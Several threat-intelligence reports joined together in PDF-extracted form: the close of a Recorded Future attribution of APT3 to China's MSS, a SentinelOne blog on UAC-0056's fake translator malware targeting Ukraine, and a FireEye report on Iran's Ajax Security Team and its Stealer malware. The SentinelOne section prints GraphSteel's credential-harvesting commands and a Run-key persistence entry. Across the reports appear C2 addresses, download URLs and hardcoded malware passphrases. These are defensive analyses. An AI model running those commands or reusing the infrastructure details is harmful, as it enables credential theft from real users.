6/9 http://news.sina.com.cn/c/2011-05-20/141322500302.shtml http://news.enorth.com.cn/system/2011/05/20/006588656.shtml http://www.gditsec.org.cn/ https://books.google.com/books?idSbDlBgAAQBAJdqchinaandcybersecurity:espionage https://www.theguardian.com/world/us-embassy-cables-documents/214462 http://www.cesinet.com/itsforum2014/infoz.html http://www.jobui.com/job/151158407/ Job posting where Boyusec highlights the joint lab with Guangdong ITSEC.
The translated text is, In 2014, Guangzhou Boyu Information Technology Company and Guangdong ITSEC cooperated closely to establish a joint active defense lab (ADUL).
Conclusion The lifecycle of APT3 is emblematic of how the MSS conducts operations in both the human and cyber domains.
According to scholars of Chinese intelligence, the MSS is composed of national, provincial, and local elements.
Many of these elements, especially at the provincial and local levels, include organizations with valid public missions to act as a cover for MSS intelligence operations.
Some of these organizations include think tanks such as CICIR, while others include provincial-level governments and local offices.
In the case of APT3 and Boyusec, this MSS operational concept serves as a model for understanding the cyber activity and lifecycle: While Boyusec has a website, an online presence, and a stated information security services mission, it cites only two partners, Huawei and Guangdong ITSEC.
Intrusiontruth and the Washington Free Beacon have linked Boyusec to supporting and engaging in cyber activity on behalf of the Chinese intelligence services.
Recorded Futures open source research has revealed that Boyusecs other partner is a field office for a branch of the MSS.
Boyusec and Guangdong ITSEC have been documented working collaboratively together since at least 2014.
Academic research spanning decades documents an MSS operational model that utilizes organizations, seemingly without an intelligence mission, at all levels of the state to serve as cover for MSS intelligence operations.
According to its website, Boyusec has only two collaborative partners, one of which (Huawei) it is working 7/9 https://www.google.com/q22petermattis22OR22bonnieglaser22OR22BatesGill22OR22NicholasEftimiades22 http://thediplomat.com/2011/10/chinas-misunderstood-spies/?allpagesyes https://www.cambridge.org/core/journals/china-quarterly/article/chinese-civilian-foreign-policy-research-institutes-evolving-roles-and-increasing-influence/017116D83D73C6158605E1420A7ACEE4 https://fas.org/irp/dni/osc/cicir.pdf https://books.google.com/books?idRbUhAwAAQBAJprintsecfrontcoverdqchina27ssecuritystatehlensaXved0ahUKEwj938jmlfLTAhXpgFQKHZsbAqUQ6AEIJjAAvonepageqchinas security stateffalse http://www.cicir.ac.cn/ http://zwgk.gd.gov.cn/006939748/201009/t20100916_12204.html https://jamestown.org/program/chinas-espionage-against-taiwan-part-ii-chinese-intelligence-collectors/ with to support Chinese intelligence services, the other, Guangdong ITSEC, which is actually a field site for a branch of the MSS.
Graphic displaying the relationship between the MSS and APT3.
Impact The implications are clear and expansive.
Recorded Futures research leads us to attribute APT3 to the Chinese Ministry of State Security and Boyusec with a high degree of confidence.
Boyusec has a documented history of producing malicious technology and working with the Chinese intelligence services.
APT3 is the first threat actor group that has been attributed with a high degree of confidence directly to the MSS.
Companies in sectors that have been victimized by APT3 now must adjust their strategies to defend against the resources and technology of the Chinese government.
In this real-life David versus Goliath situation, customers need both smart security controls and policy, as well as actionable and strategic threat intelligence.
APT3 is not just another cyber threat group engaging in malicious cyber activity research indicates that Boyusec is an asset of the MSS and their activities support Chinas political, economic, diplomatic, and military goals.
The MSS derives intelligence collection requirements from state and party leadership, many of which are defined broadly every five years in official government directives called Five Year Plans.
Many APT3 victims have fallen into 8/9 http://freebeacon.com/national-security/pentagon-links-chinese-cyber-security-firm-beijing-spy-service/ https://www.cia.gov/library/center-for-the-study-of-intelligence/csi-publications/csi-studies/studies/vol.-56-no.-3/pdfs/Mattis-Understanding Chinese Intel.pdf sectors highlighted by the most recent Five Year Plan, including green/alternative energy, defense-related science and technology, biomedical, and aerospace.
9/9 http://en.ndrc.gov.cn/newsrelease/201612/P020161207645765233498.pdf Recorded Future Research Concludes Chinese Ministry of State Security Behind APT3 The Recorded Future Blog Key Takeaways Introduction Background Analysis Conclusion Impact
1/4 March 15, 2022 Threat Actor UAC-0056 Targeting Ukraine with Fake Translation Software sentinelone.com/blog/threat-actor-uac-0056-targeting-ukraine-with-fake-translation-software Overview SentinelOne has identified new malicious activity we assess to be closely associated with the UAC-0056 (SaintBear, UNC2589, TA471) alert, in which the threat actor was observed targeting Ukraine with Cobalt Strike, GrimPlant, and GraphSteel.
This previously undiscovered set of activity centers around a Python-compiled binary that masquerades as Ukrainian language translation software, leading to the infection of GrimPlant, and GraphSteel.
SentinelOne assesses UAC-0056s GrimPlant and GraphSteel activity began in early February 2022, while preparation for its use began at least as early as December 2021.
Dictionary Translator SentinelOne has identified two files with names and paths correlating to the GraphSteel and GrimPlant malware referred to in the report by CERT-UA.
C:\Users\user\.java-sdk\microsoft- cortana.exe d77421caae67f4955529f91f229b31317dff0a95 https://www.sentinelone.com/blog/threat-actor-uac-0056-targeting-ukraine-with-fake-translation-software/ https://cert.gov.ua/article/37704 2/4 C:\Users\user\.java-sdk\oracle-java.exe ef5400f6dbf32bae79edb16c8f73a59999e605c7 The two files identified are Go binaries dropped by the executable 2a60b4e1eb806f02031fe5f143c7e3b7  (dictionary-translator.exe).
Dictionary-translator is a Python compiled binary that functions as a 45 MB translation application.
Notably, this file was first uploaded to VirusTotal on February 11th 2022.
Translation Application The Dictionary-translator binary is downloaded from the potentially actor-controlled domain: hxxps://dictionary-translator[.
]eu/program/dictionary- translator.exe .
On launch, the translator application drops and executes four malicious files.
These correlate to those described in the report by the Ukrainian CERT, three by name and path and one by functionality and path.
Matched File Path UA-CERT Report Link (MD5) \Users\user\AppData\Local\Temp\tmpj43i5czq.exe 15c525b74b7251cfa1f7c471975f3f95 \Users\user\.java-sdk\java-sdk.exe c8bf238641621212901517570e96fae7 \Users\user\.java-sdk\microsoft-cortana.exe 9ea3aaaeb15a074cd617ee1dfdda2c26 \Users\user\.java-sdk\oracle-java.exe 4f11abdb96be36e3806bada5b8b2b8f8 Post-Compromise Activity Upon execution, the GraphSteel variant of the malware will run a set of reconnaissance and credential harvesting commands, again similar to those described in the report.
3/4 netsh wlan show profiles [void] [Windows.
Security.
Credentials.
PasswordVault,Windows.
Security.
Credentials,ContentTypeW New-Object Windows.
Security.
Credentials.
PasswordVaultvault.
RetrieveAll() _.RetrievePassword()_  Select UserName, Resource, Password  Format-Table - HideTableHeaders reg query HKCU\Software\SimonTatham\Putty\Sessions Additionally, the malware achieves persistence by setting the current users registry CurrentVersion\Run  value to execute the Go downloader at logon: Key: HKU\SID\Software\Microsoft\Windows\CurrentVersion\Run\Java-SDK Value: \Users\user\.java-sdk\java-sdk.exe -a FIAjtW4fIgCUrs3hfj9Lg The variant discovered by SentinelOne attempts to connect to a different server using a similar pattern, attempting to establish a HTTP connection over port 443 to a single character letter URI: hxxp://91.242.229.35:443/i .
Clarification on Threat Actor UAC-0056 UAC-0056 has a history of public reporting but is most commonly known as UNC2589 (Mandiant) and TA471 (Proofpoint), among others.
This actor is believed to be behind the WhisperGate activity in early January 2022 impacting government agencies in Ukraine.
Based on our analysis, the actor was potentially building the infrastructure for the GrimPlant and GraphSteel campaign beginning in December 2021.
Timeline Demonstrating Known UAC-0056 Activity Indicators of Compromise IOC / SHA1 Description https://zetter.substack.com/p/dozens-of-computers-in-ukraine-wiped?sr 4/4 dictionary-translator[.
]eu Dictionary-translator.exe Download Server 91.242.229[.
]35:443/i Go Downloader C2 3eec65c8ac25682d9e7d293ca9033c8a841f4958 Go Downloader d77421caae67f4955529f91f229b31317dff0a95 GraphSteel Linked ef5400f6dbf32bae79edb16c8f73a59999e605c7 GrimPlant Linked 3847ca79b3fd52b105c5e43b7fc080aac7c5d909 Dictionary-translator Program
SECURITY REIMAGINED SPECIAL REPORT OPERATION SAFFRON ROSE 2013 Authors: Nart Villeneuve, Ned Moran, Thoufique Haq and Mike Scott 1  www.fireeye.com Fireeye: Operation Saffron Rose  2013 CONTENTS Introduction ............................................................................................................................................................................................................................................................................................................................................... 2 Background .................................................................................................................................................................................................................................................................................................................................. 2 Attack Vectors .....................................................................................................................................................................................................................................................................................................................................4 The Stealer Malware ...................................................................................................................................................................................................................................................................................................6 The Stealer Builder and Tools ........................................................................................................................................................................................................................................................11 Command-and-Control Infrastructure .................................................................................................................................................................................................................13 Victimology .......................................................................................................................................................................................................................................................................................................................................... 15 Attribution ............................................................................................................................................................................................................................................................................................................................................. 16 Conclusion ............................................................................................................................................................................................................................................................................................................................................... 19 About FireEye, Inc. ........................................................................................................................................................................................................................................................................................19 http://www.fireeye.com 2  www.fireeye.com Fireeye: Operation Saffron Rose  2013 In this report, we document the activities of the Ajax Security Team, a hacking group believed to be operating from Iran.
Members of this group have accounts on popular Iranian hacker forums such as ashiyane[.
]org and shabgard[.
]org, and they have engaged in website defacements under the group name AjaxTM since 2010.
By 2014, the Ajax Security Team had transitioned from performing defacements (their last defacement was in December 2013) to malware-based espionage, using a methodology consistent with other advanced persistent threat actors in this region.
It is unclear if the Ajax Security Team operates in isolation or if they are a part of a larger coordinated effort.
The Ajax Security Team itself uses malware tools that do not appear to be publicly available.
We have seen this group leverage varied social engineering tactics as a means to lure their targets into infecting themselves with malware.
Although we have not observed the use of exploits as a means to infect victims, members of the Ajax Security Team have previously used publicly available exploit code in web site defacement operations.
In sum, FireEye has recently observed the Ajax Security Team conducting multiple cyber espionage operations against companies in the defense industrial base (DIB) within the Unites States, as well as targeting local Iranian users of anti-censorship technologies that bypass Irans Internet filtering system.
Background The transition from patriotic hacking to cyber espionage is not an uncommon phenomenon.
It typically follows an increasing politicization within the hacking community, particularly around geopolitical events.
This is followed by increasing links between the hacking community and the state, particularly military and/or intelligence organizations.
In the late 1990s and early 2000s, a similar transition occurred within the Chinese hacking community.
During that time period, the Chinese hacking community engaged in website defacements and denial of service attacks in conjunction with incidents such as the accidental bombing of the Chinese embassy in Belgrade in 1999, the collision of a U.S. spy plane and a Chinese military plane in 2001, and the Japanese Prime Ministers controversial visit to the Yasukuni shrine in 2005.4 Around this time a significant shift in philosophy began to take place.
Members of the Chinese hacking community that participated in such attacks soon found that transitioning to cyber espionage was more rewardingboth in terms of developing a more advanced skill set as well as in monetary remuneration.
One group known as NCPH (Network Crack Program Hacker), whose founding member Wicked/Withered Rose was a patriotic hacker, made the transition to cyber espionage by founding a hacker-for-hire group We believe were seeing an evolution and development in Iranian-based cyber activity.
In years past, Iranian actors primarily committed politically-motivated website defacement and DDoS attacks.1 More recently, however, suspected Iranian actors have destroyed data on thousands of computers with the Shamoon virus,2 and they have penetrated the Navy Marine Corps Intranet (NMCI), which is used by the U.S. Navy worldwide.3 1 HP Security Research.
Threat Intelligence Briefing Episode 11.
February 2014.
2 Perlroth, N. In Cyberattack on Saudi Firm, U.S. Sees Iran Firing Back.
October 2012.
3 Gallagher, S. Iranians hacked Navy network for four months?
Not a surprise.
February 2014.
4 Key.
Honker Union of China to launch network attacks against Japan is a rumor.
September 2010.
http://www.fireeye.com 3  www.fireeye.com Fireeye: Operation Saffron Rose  2013 that simultaneously developed an association with the Chinese military.5 The group began developing zero-day exploits, rootkits and remote access tools (RATs)using them in attacks against a variety of targets including the U.S. Department of Defense.6 (One of this groups associates, whg, is still active and is believed to have developed one variant of the PlugX/SOGU malware.7) The rationale behind this transition within the Chinese hacking community is nicely summed up in a message by the Honker Union of China to its members in 2010: What benefit can hacking a Web page bring our country and the people?
It is only a form of emotional catharsis, please do not launch any pointless attacks, the real attack is to fatally damage their network or gain access to their sensitive information.8 In Iran, the hacking community appears to be undergoing a similar transformation.
While a variety of Iranian hacker groups had engaged in politically motivated website defacements, the emergence of the Iranian Cyber Army in 2009 demonstrated a concentrated effort to promote the Iranian governments political narrative online.9 They targeted, among others, news organizations, opposition websites and social media.10 This marked the beginning of a large- scale cyber offensive against the perceived enemies of the Iranian government.
Foreign news and opposition websites are routinely blocked in Iran, as are the tools that allow users in Iran to bypass these restrictions.11 One of the key stakeholders in Irans Internet censorship program is the Iranian Revolutionary Guard Corps (IRGC), under which the Basij paramilitary organization operates.
The Basij formed the Basij Cyber Council and actively recruits hackers in order to develop both defensive and offensive cyber capabilities.12 There is increasing evidence to suggest that the hacker community in Iran is engaged in a transition from politically motivated defacements and denial of service attacks to cyber espionage activities.
This model is consistent with the Basijs recruitment of paramilitary volunteer hackers to engage in less complex hacking or infiltration operations leaving the more technical operations to entities over which they have increasingly direct control.13 As such, the capabilities of threat actors operating from Iran have traditionally been considered limited.14 However, the Shamoon attacks, which wiped computers in Saudi Arabia and Qatar, indicate an improvement in capabilities.15 And unsurprisingly, Iran has reportedly increased its efforts to improve offensive capabilities after being targeted by Stuxnet and Flame.16 5 Elegant, S. Enemies at The Firewall.
December 2007.
Dunham, K.  Melnick, J. Wicked Rose and the NCPH Hacking Group.
Wikipedia.
Network Crack Program Hacker Group.
6 Dunham, K.  Melnick, J. Wicked Rose and the NCPH Hacking Group.
7 Blasco, J.
The connection between the Plugx Chinese gang and the latest Internet Explorer Zeroday.
September 2012.
8 Key.
Honker Union of China to launch network attacks against Japan is a rumor.
September 2010.
9 OpenNet Initiative.
After the Green Movement: Internet Controls in Iran 2009  2012.
February 2013.
10 Rezvaniyeh, F. Pulling the Strings of the Net: Irans Cyber Army.
February 2010.
Twitter hackers appear to be Shiite group.
December 2009.
11 OpenNet Initiative.
Iran.
June 2009.
12 The IRGC has also indicated that they would welcome hackers that support the Iranian government.
Esfandiari, G. Iran Says It Welcomes Hackers Who Work For Islamic Republic.
March 2011, HP Security Research.
Threat Intelligence Briefing Episode 11.
February 2014.
13 BBC Persian.
Structure of Irans Cyber Warfare.
14 Mandiant.
M-Trends: Beyond the Breach, 2014, page 9.
April 2014.
15 Mount, M. U.S. Officials believe Iran behind recent cyber attacks.
October 2012.
16 Shalal-Esa, A. Iran strengthened cyber capabilities after Stuxnet: U.S. general.
January 2013, Lim, K. Irans cyber posture.
November 2013.
http://www.fireeye.com 4  www.fireeye.com Fireeye: Operation Saffron Rose  2013 7 Bloomberg.
Neiman Marcus Hackers Set Off 60,000 Alerts While Bagging Credit Card Data.
February 2014.
Attack Vectors We have observed the Ajax Security Team use a variety of vectors to lure targets into installing malicious software and/or revealing login credentials.
These attack vectors include sending email, private messages via social media, fake login pages, and the propagation of anti-censorship software that has been infected with malware.
Spear phishing During our investigation, we discovered that these attackers sent targeted emails, as well as private messages through social media.
For example, the attackers targeted companies in the DIB using a fake conference page as a lure to trick targets into installing malicious software.
The attackers registered the domain aeroconf2014[.
]org in order to impersonate the IEEE Aerospace conferencethe conferences actual domain is aeroconf.organd sent out an email with the following information: From: inviteaeroconf2014[.
]org Subject: IEEE Aerospace Conference 2014 The email encouraged users to visit a fake conference website owned by the attackers: Upon visiting the website, visitors were notified that they must install proxy software in order to access it, which is actually malware.
Figure 1: The Fake IEEE Aerospace Conference Website http://www.fireeye.com 5  www.fireeye.com Fireeye: Operation Saffron Rose  2013 Credential Phishing The attackers have also used phishing attacks, in which they set up Web pages to emulate various services that require security credentials.
The attackers tailored these login pages for specific targets in the DIB and spoofed a variety of services such as Outlook Web Access and VPN login pages.
If users attempt to login through these fake Web pages, the attackers collect their login credentials.
Anti-censorship Tools All Internet Service Providers (ISPs) in Iran are required to implement filtering technology that censors access to content which the Iranian government deems unacceptable.17 This content includes categories such as pornography and political opposition.18 In response to these restrictions, Iranians have been increasingly using software that bypasses such filtering technology.
To counter anti-censorship efforts, Iran has attempted to block the use of certain software tools.19 In 2012, researchers found that an anti-censorship tool that is primarily used by Internet users in Iran was bundled with malware and redistributed.20 Our investigation found that malware-laden versions of legitimate anti-censorship software, such as Psiphon and Ultrasurf, were distributed to users Iran and Persian speaking people around the world.
Figure 2: The Fake Outlook Web Access page 17   OpenNet Initiative.
Iran.
June 2009.
18   OpenNet Initiative.
After the Green Movement: Internet Controls in Iran 2009  2012.
February 2013.
19   Torbati, Y. Iran blocks use of tool to get around Internet filter.
March 2013.
20   Marquis-Boire, M. Iranian anti-censorship software Simurgh circulated with malicious backdoor.
May 2012.
http://www.fireeye.com 6  www.fireeye.com Fireeye: Operation Saffron Rose  2013 The Stealer Malware Host-based Indicators and Malware Functionality We have observed the Ajax Security Team use a malware family that they identify simply as Stealer.
They deliver this malware as a malicious executable (dropper).
The executable is a CAB extractor that drops the implant IntelRS.exe.
This implant, in turn, drops various other components into C:\ Documents and Settings\USER\Application Data\IntelRapidStart\.
The following files are written to disk in this location: The IntelRS.exe is written in .NET and is aptly named Stealer, as it has various data collection modules.
It drops and launches AppTransferWiz.dll via the following command: C:\WINDOWS\system32\rundll32.exe C:\ Documents and Settings\USER\Application Data\IntelRapidStart\AppTransferWiz.dll,110 110 is an ordinal that corresponds to StartBypass export in AppTransferWiz.dll.
File Functionality IntelRS.exe Various stealer components and encryption implementation DelphiNative.dll Browser URL extraction, IE Accounts, RDP accounts (Imported by IntelRS.exe) IntelRS.exe.config Config containing supported .NET versions for IntelRS.exe AppTransferWiz.dll FTP exfiltration (Launched by IntelRS.exe) RapidStartTech.stl Base64 encoded config block containing FTP credentials, implant name, decoy name, screenshot interval and booleans for startup, keylogger and screenshot Figure 3: StartBypass Ordinal http://www.fireeye.com 7  www.fireeye.com Fireeye: Operation Saffron Rose  2013 Data exfiltration is conducted over FTP by AppTransferWiz.dll, which acts as an FTP client.
This DLL is written in Delphi.
There is code to exfiltrate data over HTTP POST as well, but it is unused.
We also found incomplete code that would perform SFTP and SMTP exfiltration, which could be completed in a future version.
State is maintained between the stealer component IntelRS.exe and the FTP component AppTransferWiz.
DLL using a file from the FTP server sqlite3.dll, as well as a global atom SQLiteFinish.
IntelRS.exe waits in an indefinite loop, until AppTransferWiz.
DLL defines this state.
Once the state is set, IntelRS.exe proceeds to collect data from various areas in the system as described below: Collects system information: hostname, username, timezone, IP addresses, open ports, installed applications, running processes, etc.
Performs key logging Takes various screenshots Harvests instant messaging (IM) account information: GTalk, Pidgin, Yahoo, Skype Tracks credentials, bookmarks and history from major browsers: Chrome, Firefox, Opera Collects email account information Extracts installed proxy software configuration information Harvests data from installed cookies IntelRS.exe loads a Delphi component called DelphiNative.
DLL, which implements some additional data theft functionality for the following: Internet Explorer (IE) accounts Remote Desktop Protocol (RDP) accounts Browser URLs Figure 4: AppTransferWizard.
dll creates sqlite3.dll and global atom Figure 5: IntelRS.exe sleeps until global atom is set and sqlite3.dll is present http://www.fireeye.com 8  www.fireeye.com Fireeye: Operation Saffron Rose  2013 The Stealer component uses common techniques to acquire credential data.
For instance, it loads vaultcli.
DLL and uses various APIs shown below to acquire RDP accounts from the Windows vault.
Harvested data is encrypted and written to disk on the local host.
The filenames for these encrypted files follow this naming scheme: stolen data type_victim system name_ YYYYMMDD_HHMM.Enc The stolen data type parameter indicates where the data was harvested from (e.g., a Web browser, an instant messenger application, installed proxy software).
Analysis of the malware indicates that the data is encrypted via a Rijndael cipher implementation more specifically it uses AES which is a specific set of configurations of Rijndael.
It uses a key size of 256 bytes and block size of 128 bytes, which conforms to the FIPS-197 specification of AES-256.21 It utilizes the passphrase HavijeBaba and a salt of salam as an input to PBKDF2 (Password-Based Key Derivation Function 2) to derive the key and initialization vector for the encryption.22 This key derivation implementation in .NET is done using the Rfc2898DeriveBytes class.23 The passphrase and salt are Persian language words.
Havij means carrot, Baba means father, and Salam is a common greeting that means Peace.
Figure 6: Acquiring RDP Accounts 21   ShawnFa.
The Differences Between Rijndael and AES.
October 2006.
22   Wikipedia.
PBKDF2.
23   Microsoft.
Rfc2898DeriveBytes Class.
http://www.fireeye.com 9  www.fireeye.com Fireeye: Operation Saffron Rose  2013 Sample Timeline We identified 17 droppers during this research, including: 9 samples compiled on 2013-02-17 07:00 4 samples compiled on 2009-07-13 23:42 3 sample compiled on 2013-10-14 06:48 1 sample compiled on 2013-10-13 09:56 The 2009 compile time appears to have been forged, while the 2013 compile times may be legitimate.
In some cases, we found an implant but not the parent dropper.
In total, 22 of the 23 implants that we identified during our research had unique compile times ranging from 2013-10-29 until 2014-03-15.
We identified two implants that were both compiled on 2014-3-15 at 23:16.
These compile times appear to be legitimate and coincide with attempted intrusion activity attributed to these attackers.
Spoofed Installers Many of the malicious executables (droppers) that we collected were bundled with legitimate installers for VPN or proxy software.
Examples include: 6dc7cc33a3cdcfee6c4edb6c085b869d was bundled with an installer for Ultrasurf Proxy software.
3d26442f06b34df3d5921f89bf680ee9 was bundled with an installer for Gerdoovpn virtual private network software.
3efd971db6fbae08e96535478888cff9 was bundled with an installer for the Psiphon proxy.
288c91d6c0197e99b92c06496921bf2f was bundled with an installer for Proxifier software.
These droppers were also designed to visually spoof the appearance of the above applications.
These droppers contained icons used in the legitimate installers for these programs.
Figure 7: Icon for the Psiphon Anti-censorship Tool http://www.fireeye.com 10  www.fireeye.com Fireeye: Operation Saffron Rose  2013 Process Debug (PDB) Strings Analysis of the PDB strings seen in the implants indicates that there may be more than one developer working on the source code for the Stealer builder.
The following two PDB paths were seen in the collection of implants that we collected: d:\svn\Stealer\source\Stealer\Stealer\obj\ x86\Release\Stealer.pdb f:\Projects\C\Stealer\source\Stealer\ Stealer\obj\x86\Release\Stealer.pdb These strings indicate that the Stealer source code was stored in two different paths but not necessarily on two different computers.
The f:\ Projects\ path may be from an external storage device such as a thumb drive.
It is therefore possible that only one person has access to the source code, but keeps a separate repository on an external storage device.
Alternatively, the different file paths could be the result of two different actors storing their source code in two different locations.
Builder Artifacts In nine of the implants that we collected, we found a consistent portable executable (PE) resource with a SHA256 of 5156aca994ecfcb40458ead8c830cd66469d5f5 a031392898d323a8d7a7f23d3.
This PE resource contains the VS_VERSION_INFO.
In laymans terms, this can best be described as the metadata describing the executable file.
This specific PE resource contained the following information: Note the InternalName of Stealer.exe.
This is the attackers name for this malware family.
VS_VERSION_INFO VarFileInfo Translation StringFileInfo 000004b0 Comments Process for Windows CompanyName Microsoft FileDescription Process for Windows FileVersion 1.0.0.0 InternalName Stealer.exe LegalCopyright Copyright 2013 OriginalFilename Stealer.exe ProductName Process for Windows ProductVersion 1.0.0.0 Assembly Version 1.0.0.0 http://www.fireeye.com 11  www.fireeye.com Fireeye: Operation Saffron Rose  2013 The Stealer Builder and Tools During our research, we recovered two different tools used by the members of the Ajax Security Team in conjunction with targeted intrusion activities.
The first tool, labeled the Stealer Builder was compiled on 2014-04-08.
This compile date may indicate that the group is still active.
Upon executing the Stealer Builder the user is presented with an option to load the Builder or to Decrypt logs generated from a victim and exfiltrated to a command-and-control (CnC) server under the groups control.
The Builder option enables an attacker to configure a new Stealer backdoor.
The user can configure the new backdoor to connect to a specific CnC server with a personalized username and password.
The attacker can bind the backdoor to a legitimate application of his or her choosing, or they can cloak it with an icon designed to make the backdoor appear as though it is a legitimate file.
We also noted that the Builder did not allow the attacker to select a new passphrase or salt used to encrypt the stolen data.
The passphrase HavijeBaba and a salt of salam are both hardcoded into the builder.
Figure 8: The Stealer Tool Figure 9: The Stealer Builder http://www.fireeye.com 12  www.fireeye.com Fireeye: Operation Saffron Rose  2013 During testing, we observed that backdoors generated by this Stealer Builder had a timestamp of 2013-12-19.
We had one backdoor in our repository with this same timestamp.
This sample (MD5 1823b77b9ee6296a8b997ffb64d32d21) was configured to exfiltrate data to ultrasms[.
]ir.
The VS_VERSION_INFO PE resource mentioned above (SHA256 5156aca994ecfcb40458ead8c830cd66469d5f5 a031392898d323a8d7a7f23d3) is an artifact of the Stealer builder that we recovered.
The builder generates an executable named IntelRapidStart.
exe.
This executable contains the aforementioned VS_VERSION_INFO PE resource.
We also recovered a tool designed to encode plaintext into Base64 encoded text or decode Base64 encoded text into plaintext.
Members of the Ajax Security Team likely this use tool to encode the configuration data seen in RapidStartTech.stl files.
As noted above, the RapidStartTech.stl contains the backdoors FTP credentials, implant name, decoy name, and screenshot interval, along with boolean settings for startup, keylogger, and screenshot plugins.
Encoding and decoding Base64 data is a straightforward task and the standard Linux operating system offers a number of command line tools to achieve this task.
The presence of a Windows-based GUI tool that simplifies encoding and decoding Base64 data indicates that these tools may have been developed for less adept users.
Figure 10: Base64 Encoder http://www.fireeye.com 13  www.fireeye.com Fireeye: Operation Saffron Rose  2013 Command-and-Control Infrastructure The CnC infrastructure consists of distinct, but linked, clusters that have targeted both the users of anti-censorship tools in Iran as well as defense contractor companies in the U.S.
The first cluster contains the domain used in the Aerospace Conference attack as well as the domains used in phishing attacks designed to capture user credentials: The website used in the Aerospace Conference attack was aeroconf2014[.
]org, which is registered to infousa.gov[.
]us.
However, historical WHOIS information shows that the domain was registered by keyvan.ajaxtmgmail[.
]comthe same domain used to register ajaxtm[.
]org, the website of the Ajax Security Team.
The same email addresses were used to register variations of domain names associated with popular services provided by companies such as Google, Facebook, Yahoo and LinkedIn.
Figure 11: Ajax Security Teams Phishing Infrastructure http://www.fireeye.com 14  www.fireeye.com Fireeye: Operation Saffron Rose  2013 The second cluster comprises the CnC infrastructure used in the anti-censorship attacks.
The majority of the samples we analyzed connect to intel-update[.
]com and update-mirror[.
]com, which were registered by james.mateoaim[.
]com.
The domain intel-update[.
]com resolved to the IP address 88.150.227.197, which also hosted domains registered by osshomyahoo[.
]com, many of which are consistent with the pattern of registering domains with associations to Google and Yahoo services.
We also observed crossover with a sample that connected to both intel- update[.
]com and ultrasms[.
]ir, which was registered by lvlr98gmail[.
]com.
Figure 12: Ajax Security Teams Stealer CnC Infrastructure Figure 13: Overlap between the phishing and stealer clusters http://www.fireeye.com 15  www.fireeye.com Fireeye: Operation Saffron Rose  2013 These two clusters are linked by a common IP address (5.9.244.151), which is used by both ns2.
aeroconf2014[.
]org and office.windows- essentials[.
]tk.
A third cluster of activity was found via analysis of 1d4d9f6e6fa1a07cb0a66a9ee06d624a.
This sample is a Stealer variant that connects to the aforementioned intel-update[.
]com as well as plugin-adobe[.
]com.
The domain plugin-adobe[.]
com resolved to 81.17.28.235.
Other domains seen resolving to IP address nearby include the following: Aside from the sample connecting to plugin- adobe[.
]com, we have not discovered any malware connecting to these domains.
Victimology During our investigation, we were able to recover information on 77 victims from one CnC server that we discovered while analyzing malware samples that were disguised as anti-censorship tools.
While analyzing the data from the victims, we found that the majority had either their timezone set to Iran Standard Time or had their language setting set to Persian: 44 had their timezone set to Iran Standard Time (37 of those also have their language set to Persian) Of the remaining 33, 10 have Persian language settings 12 have either Proxifier or Psiphon installed or running (all 12 had a Persian language setting and all but one had their timezone set to Iran Standard Time) The largest concentration of victims is in Iran, based on the premise that Persian language settings and Iran Standard Time correlate the victim to be geographically located in Iran.
As such, we believe that attackers disguised malware as anti-censorship tools in order to target the users of such tools inside Iran as well as Iranian dissidents outside the country.
Domain IP First Seen Last Seen yahoomail.com.co 81.17.28.227 2013-11-28 2014-4-10 privacy-google.com 81.17.28.229 2014-02-14 2014-02-23 xn--google-yri.com 81.17.28.229 2013-12-08 2014-01-15 appleid.com.co 81.17.28.231 2014-02-20 2014-02-20 accounts-apple.com 81.17.28.231 2013-12-31 2014-02-20 users-facebook.com 81.17.28.231 2014-01-15 2014-01-15 xn--facebook-06k.com 81.17.28.231 2013-11-27 2014-03-07 http://www.fireeye.com 16  www.fireeye.com Fireeye: Operation Saffron Rose  2013 Attribution The Ajax Security Team appears to have been formed by personas named HUrrc4nE and Cair3x in 2010.24 Both members were engaged in website defacements prior to the forming of the Ajax Security Team, and both were members of Iranian hacker forums such as ashiyane[.
]org and shabgard[.
]org.
Other members include 0day, Mohammad PK and Crim3r.
The Ajax Security Team website at ajaxtm[.
]org had a Web forum with at least 236 members.
The group published several exploits for content management systems and engaged in defacements.25 Initially, the defacements seemed to be motivated by a desire to demonstrate the groups prowessthey even defaced an Iranian government website.26 However, the group appears to have become increasingly political.
For example, in a blog post in 2012, Cair3x announced the targeting of Irans political opponents.
Figure 14: Cair3xs original blog post and translation Hacking anti-revolution political and opposition websites Hello to everyone, After a while of operating underground and enhancing our companys projects and getting close to 24 June 2012, and the martyrdom of Ayatollah Dr. Beheshti and 72 of Imam Khomeinis (First and Former supreme leader of Iran) followers, we have planned a project/ initiative to attack anti-revolution and political websites against the Islamic Republic.
And in late hours of Wednesday, June 24, 2012, we attacked these websites and defaced them by writing the words We are young but we can on their websites.
This is so the enemies of this country know that the blood of our martyr will never be in vain and they will always be remembered in the heart of gallant Iranians.
24 By March 2010 HUrrc4nE was identifying as a member of Ajax Security Team in exploit releases http://www.exploit-db.com/exploits/17011/ and the first defacement archived by Zone-H, which lists both HUrrc4nE and Cair3x as members was December 2010 http://www.zone-h.org/mirror/ id/12730879 25 http://osvdb.org/affiliations/1768-ajax-security-team http://www.exploit-db.com/author/?a3223 http://packetstormsecurity.com/files/author/9928/ 26 http://www.zone-h.org/mirror/id/13225183 http://www.fireeye.com 17  www.fireeye.com Fireeye: Operation Saffron Rose  2013 In 2013, the Ajax Security Team, and HUrrc4nE in particular, took part in OpIsrael and OpUSA.27 By early 2014, the Ajax Security Team appears to have dwindled.
There have been no defacements since December 2013.
The website and forum at ajaxtm[.
]org operated by HUrrc4nE, aka k3yv4n, is no longer active.
HUrrc4nE has the most open/documented Internet persona of the Ajax Security Team.
He registered the ajaxtm[.
]org domain name using the email address keyvan.ajaxtmgmail[.
]com.
This was also the email address used to register the domain aerospace2014[.
]org, which was used in spear phishing attacks against companies in the U.S. and is linked with malware activity directed at users of anti-censorship tools in Iran.
Figure 15: Screenshot of the defacement content used in OpUSA 27 Ashraf, N. OpIsrael: Hacktivists Starting Cyber Attack against Israel on 7th of April.
March 2013.
OpUSA Targeting Government  Financial Sectors on 07 May 2013: Likely Tools, Targets and Mitigating Measures.
May 2013.
http://www.fireeye.com 18  www.fireeye.com Fireeye: Operation Saffron Rose  2013 HUrrc4nE features prominently in all the groups activities and defacements.
Although there has been a decline in public-facing Ajax Security Team activity, this coincides with an increase in malware activity linked to the groups infrastructure.
2009Membership in ashiyane.org and shabgard.org forums 2010  2012Defacements, Release of exploits for CMS 2012  2013Increasing politicization, participation on OpIsrael, OpUSA 2013  2014Transition to cyber-espionage The increasing politicization of the Ajax Security Team aligns with the timing of their activities against the perceived enemies of Iran.
